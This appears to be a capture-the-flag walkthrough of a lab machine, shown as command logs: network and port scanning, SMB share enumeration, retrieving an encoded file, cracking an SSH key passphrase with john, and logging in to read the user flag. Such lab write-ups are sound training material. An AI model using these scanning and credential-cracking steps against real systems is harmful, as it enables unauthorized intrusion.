❯ sudo arp-scan -l [sudo] password for ctf: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.135 08:00:27:5f:a2:66 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:fd:82:05 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.059 seconds (124.33 hosts/sec). 4 responded ❯ export ip=192.168.60.135 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.135:22 Open 192.168.60.135:80 Open 192.168.60.135:139 Open 192.168.60.135:445 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-04 14:40 CST Initiating ARP Ping Scan at 14:40 Scanning 192.168.60.135 [1 port] Completed ARP Ping Scan at 14:40, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:40 Completed Parallel DNS resolution of 1 host. at 14:40, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:40 Scanning 192.168.60.135 [4 ports] Discovered open port 445/tcp on 192.168.60.135 Discovered open port 80/tcp on 192.168.60.135 Discovered open port 22/tcp on 192.168.60.135 Discovered open port 139/tcp on 192.168.60.135 Completed SYN Stealth Scan at 14:40, 0.05s elapsed (4 total ports) Nmap scan report for 192.168.60.135 Host is up, received arp-response (0.00050s latency). Scanned at 2025-01-04 14:40:40 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 139/tcp open netbios-ssn syn-ack ttl 64 445/tcp open microsoft-ds syn-ack ttl 64 MAC Address: 08:00:27:5F:A2:66 (Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers webos Disk Archivo compartido en Samba IPC$ IPC IPC Service (Samba 4.17.12-Debian) nobody Disk Home Directories Reconnecting with SMB1 for workgroup listing.
Server Comment --------- -------
Workgroup Master --------- ------- ❯ smbclient -N //192.168.60.135/webos tree connect failed: NT_STATUS_ACCESS_DENIED ❯ smbclient -N //192.168.60.135/nobody tree connect failed: NT_STATUS_ACCESS_DENIED
❯ smbclient -U webos //192.168.60.135/webos Password for [WORKGROUP\webos]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Jul 18 02:47:07 2024 .. D 0 Thu Jul 18 17:31:55 2024 MamaÑema.txt N 245 Thu Jul 18 02:47:07 2024
19480400 blocks of size 1024. 16306212 blocks available smb: \> get MamaÑema.txt getting file \MamaÑema.txt of size 245 as MamaÑema.txt (39.9 KiloBytes/sec) (average 39.9 KiloBytes/sec) smb: \> quit ❯ cat MamaÑema.txt ++++++++++[>++++++++++>++++++++++>+++++++++++>+++++++++++>+++++++++++>++++++>++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++>+++++++++++>+++++>++++++>++++<<<<<<<<<<<<<<<-]>---.>.>-.>-----.>.>--.>.>+.>++++.>-----.>-.>+.>++++.>---.>++.....
❯ vim id_rsa ❯ ssh2john id_rsa >hash ❯ john hash --wordlist=passwd Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidate left, minimum 4 needed for performance. freestyle (id_rsa) 1g 0:00:00:00 DONE (2025-01-04 17:09) 5.000g/s 5.000p/s 5.000c/s 5.000C/s freestyle Use the "--show" option to display all of the cracked passwords reliably Session completed.
ssh登上去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
❯ ssh [email protected] -i id_rsa Enter passphrase for key 'id_rsa': Linux TheHackersLabs-Webos 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 18 11:45:53 2024 from 192.168.18.19 webos@TheHackersLabs-Webos:~$ ls python3 user.txt webito webos@TheHackersLabs-Webos:~$ cat user.txt efca2461d0ccdf0ab78bfbbc93e1efe9 -
